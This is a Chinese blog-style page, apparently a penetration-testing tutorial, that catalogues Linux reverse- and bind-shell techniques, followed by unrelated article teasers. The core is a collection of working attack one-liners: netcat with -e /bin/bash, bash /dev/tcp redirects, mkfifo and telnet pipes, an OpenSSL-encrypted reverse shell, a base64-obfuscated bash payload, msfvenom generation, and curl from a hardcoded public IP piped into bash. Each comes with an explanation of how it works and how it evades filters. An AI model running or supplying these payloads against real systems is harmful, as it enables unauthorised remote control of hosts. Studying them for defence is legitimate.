news 2026/6/10 16:45:53

干货 | Linux之渗透测试常用反弹shell方法总结

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
干货 | Linux之渗透测试常用反弹shell方法总结

干货 | Linux之渗透测试常用反弹shell方法总结

反弹shell介绍

反弹shell主要就是让我们能远程连接到目标控制台并且下达指令,来达到操控目标资产的目的!
反弹shell分为:

正向反弹: 控制端(也就是我们自己的机器)发送请求去连接被控端(目标机器)的方式。

不过这种方式会受到防火墙,路由,等各种很多因素影响,很难成功。

反向反弹: 被控端主动发送请求连接我们的控制端。

这种方法是可以想办法避开防火墙和路由的一些限制的!

常用反弹方式

测试机器:

NetCat(NC)反弹

无论是Windows还是Linux都是可以使用NC进行反弹的。

正向NC

正向的时候,我们需要先在被控端开启指定端口的监听,然后在使用控制端去连接

# 被控端(l:监听模式,p:指定端口号,v:详细信息(这里的信息指的是指令执行过程),vv是更详细的信息) nc -lvvp 端口号 -e 使用的sh # 比如: nc -lvvp 4578 -e /bin/bash # 控制端 nc 目标IP 端口号 # 比如 nc 43.128.11.131 4578 # msf的攻击载荷(不太推荐使用nc作为msf的正向连接工具,稳定性比较差,一般只能上线shell,很难获得稳定的meterpreter) payload/cmd/unix/bind_netcat payload/cmd/unix/reverse_netcat

反向NC

被控端反向shell种类非常多

可以使用在线工具生成: https://weibell.github.io/reverse-shell-generator/

下面我会详细剖析一些常用的被控端反向shell的命令原理!

使用正向shell的大多数场景是已经在目标内网中,几乎不存在太多安全措施的情况下,一般不重视如何绕过防火墙杀软之类的检测

但反向shell不同,一般反向shell需要攻击的目标都是和外网有之间连接的机器,这种机器一般都会有一些安全措施

为了防止被这些安全措施拦截,我们可能会用一些花里胡哨的方法来迷惑安全措施。

# 控制端: nc –lvvp 端口 # 被控端: nc -e /bin/bash IP 端口

一般直接使用nc反弹的shell并不是很稳定
并且可能还会出现没有-e参数的情况(-e: 程序重定向,一但连接就执行,这是一个危险参数,所以可能目标nc会不支持此参数)

这时候我们还一些在被控端执行的反弹shell命令同样可以自行,并且是完全兼容控制端nc的命令的!

# 其他反弹shell命令 # 最基础的命令,下面有详解 bash -i >& /dev/tcp/IP/端口 0>&1 ## 这个命令和上面的是等价的,只是写法有点不同! bash -i > /dev/tcp/IP/端口 0>&1 2>&1 ## `exec 5<>/dev/tcp/IP/端口`这里自定义了一个文件描述符 ## `cat <&5`这里是读取我们自定义的文件描述符文件,并且使用管道符传给接下来的命令 ## `while read line; do $line 2>&5 >&5`这里是创建一个变量line,然后读取上一步传来的数据中的每一段然后在将标准输出和错误输出都重定向到我们自定义的文件描述符5中 exec 5<>/dev/tcp/IP/端口;cat <&5 | whileread line; do$line 2>&5 >&5; done ## 这里和上面类似,这里创建的文件描述符是181,并且在一开始就将输入重定向到181这个文件描述符中。 0<&181-;exec 181<>/dev/tcp/IP/端口;sh <&181 >&181 2>&181 ## 这里和第一个命令一样,只是多了一层base64的编码! bash -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC/nq6/lj6MgMD4mMQ==|base64 -d|bash -i" # msf攻击载荷 cmd/unix/bind_netcat cmd/unix/reverse_netcat

如果目标机器/dev/tcp也无法使用,这可以尝试使用下面方法!

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc IP 端口 >/tmp/f mknod backpipe p; nc IP 端口 0<backpipe | /bin/bash 1>backpipe 2>backpipe # 使用msf生成 ## 比如 msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.1 lport=4578 -f raw mkfifo /tmp/ysngi; nc 192.168.1.1 4578 0</tmp/ysngi | /bin/sh >/tmp/ysngi 2>&1; rm /tmp/ysngi

rm /tmp/临时文件;mkfifo /tmp/临时文件;cat /tmp/临时文件 | /bin/bash -i 2>&amp;1 | nc IP 端口 >/tmp/临时文件

rm /tmp/临时文件: 首先删除临时文件,以免造成冲突,(后面的分号;表述依次逐个执行后面的命令。)

mkfifo /tmp/临时文件:mkfifo是Linux中专门用来创建管道的命令,具体作用如下图,我们可以在一个终端中创建一个管道符

传入一个命令后,在另一个终端接收即可获取数据(使用重定向符<的话可以持续接收!比如cat < 临时文件)

cat /tmp/临时文件 | /bin/bash -i 2>&amp;1 | nc IP 端口 >/tmp/临时文件

cat /tmp/临时文件: 首先读取新创建的临时文件,并将内容通过管道符传给下一个命令

/bin/bash -i 2>&amp;1 | nc IP 端口 >/tmp/临时文件: 先将上一步获取到的命令在bash终端中执行,并将结果通过nc输出到目标,并且将目标的命令重新写入临时文件

msf可以自动的快速生成这种命令!

mknod backpipe p; nc IP 端口 0<backpipe | /bin/bash 1>backpipe 2>backpipe

mknod 设备名 p: 创建字符设备文件和块设备文件(类似我们插入u盘之类的那种设备文件!)这里的创建p表示创建 FIFO(已命名的管道)

Telnet反弹

telnet命令: 用于登录远程主机,对远程主机进行管理

它是ssh前辈,但因为安全性方面远不如ssh

甚至直接是使用明文传输数据的,已经逐步被弃用了

但我们依旧可以尝试使用它在一些仍然开启Telnet服务的机器中尝试反弹shell。

正向shell
# 攻击机开启两个端口进行监听一个用于输入,一个用于输出 nc -lvvp 输入端口 nc -lvvp 输出端口 # 目标机 telnet 47.101.214.85 输入端口 | /bin/bash | telnet 47.101.214.85 输出端口
反向shell
# 攻击机 nc -lvvp 端口 # 目标机: rm -f a && mknod a p && telnet IP 端口 0<a | /bin/bash 1>a rm -f a;mknod a p;telnet IP 端口 0<a | /bin/bash 1>a

OpenSSL

SSL是安全套接字协议,而OpenSSL是Linux系统中强大的安全套接字层密码库

具体他的用法这里就不介绍了,下面只会提到和反弹shell有个的一些内容。

首先我们利用此库反弹shell,需要生成一个秘钥文件

# 生成秘钥(在我们攻击机上生成的) openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes # 在攻击机中启动监听(在之前生成秘钥的文件夹中执行) openssl s_server -quiet -key key.pem -cert cert.pem -port 443 # 在目标机器上反弹shell mkfifo /tmp/s;/bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect IP:443 > /tmp/s;rm /tmp/s

所有选项都可以选择默认的(这里我就把地区改成了我认为的中国,不确定是对的,但不影响)

Curl

没错,这就是Linux系统中的下载命令

因为有时候可能我们拿下的webshell有一些过滤机制,会把我们的反弹shell中一些关键词过滤掉,导致一直反弹失败,这时候我们可以尝试使用这种方法来执行!

首先我们需要在公网服务器中创建一个index.html文件

并且在其中写入反弹shell命令,然后开启http服务,并且开始监听之前的反弹shell命令指定的端口。

# 攻击端: echo'bash -i >& /dev/tcp/IP/端口' > index.html # 比如 echo'bash -i >& /dev/tcp/43.128.11.131/4545' > index.html # 这里&是让这个命令后台执行 python3 -m http.server & nc -lvvp 4545 # 目标机: curl 43.128.11.131:8000|bash

文章来源于网上,如有侵权请联系博主删除

学习资源

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我们和网安大厂360共同研发的的网安视频教程,内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识,而且包含了中级的各种渗透技术,并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频,100多本网安电子书,最新学习路线图和工具安装包都有,不用担心学不全。

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/10 14:00:16

Qwen2.5-7B保姆级教程:小白5分钟上手,云端GPU按需付费

Qwen2.5-7B保姆级教程&#xff1a;小白5分钟上手&#xff0c;云端GPU按需付费 引言&#xff1a;为什么选择Qwen2.5-7B&#xff1f; 作为转行AI的产品经理&#xff0c;你可能经常听到同事讨论大模型API集成&#xff0c;但看到GitHub上复杂的Docker和vLLM部署教程就头疼。别担心…

作者头像 李华
网站建设 2026/6/10 7:19:56

中小企业如何降本增效?AI智能实体侦测服务免费部署方案

中小企业如何降本增效&#xff1f;AI智能实体侦测服务免费部署方案 1. 引言&#xff1a;中小企业面临的文本处理挑战 在数字化转型浪潮中&#xff0c;信息处理效率已成为中小企业提升竞争力的关键瓶颈。日常运营中&#xff0c;企业需频繁处理大量非结构化文本——如客户反馈、…

作者头像 李华
网站建设 2026/6/10 13:57:19

HY-MT1.5-7B上下文理解:对话场景翻译优化技巧

HY-MT1.5-7B上下文理解&#xff1a;对话场景翻译优化技巧 1. 引言&#xff1a;腾讯开源的混元翻译大模型 随着全球化进程加速&#xff0c;跨语言沟通需求日益增长&#xff0c;高质量、低延迟的机器翻译技术成为智能应用的核心支撑。在此背景下&#xff0c;腾讯推出了混元翻译…

作者头像 李华
网站建设 2026/6/10 14:00:49

【收藏必看】构建企业级上下文智能体:2026年AI时代的核心竞争力

本文探讨了从"知识时代"到"上下文时代"的转变&#xff0c;指出当AI模型同质化后&#xff0c;企业真正的竞争优势来自于专属的上下文知识。文章详细介绍了如何构建动态、多模态、有记忆的上下文智能体系统&#xff0c;包括数据融合、动态图谱、权限治理、智…

作者头像 李华
网站建设 2026/6/10 9:50:18

Qwen3-VL模型灾难恢复:云端快照+自动备份方案

Qwen3-VL模型灾难恢复&#xff1a;云端快照自动备份方案 引言&#xff1a;为什么你需要灾难恢复方案 如果你曾经因为硬盘崩溃丢失过重要数据&#xff0c;就会明白那种"一夜回到解放前"的绝望感。特别是对于使用Qwen3-VL这类视觉理解大模型的开发者来说&#xff0c;…

作者头像 李华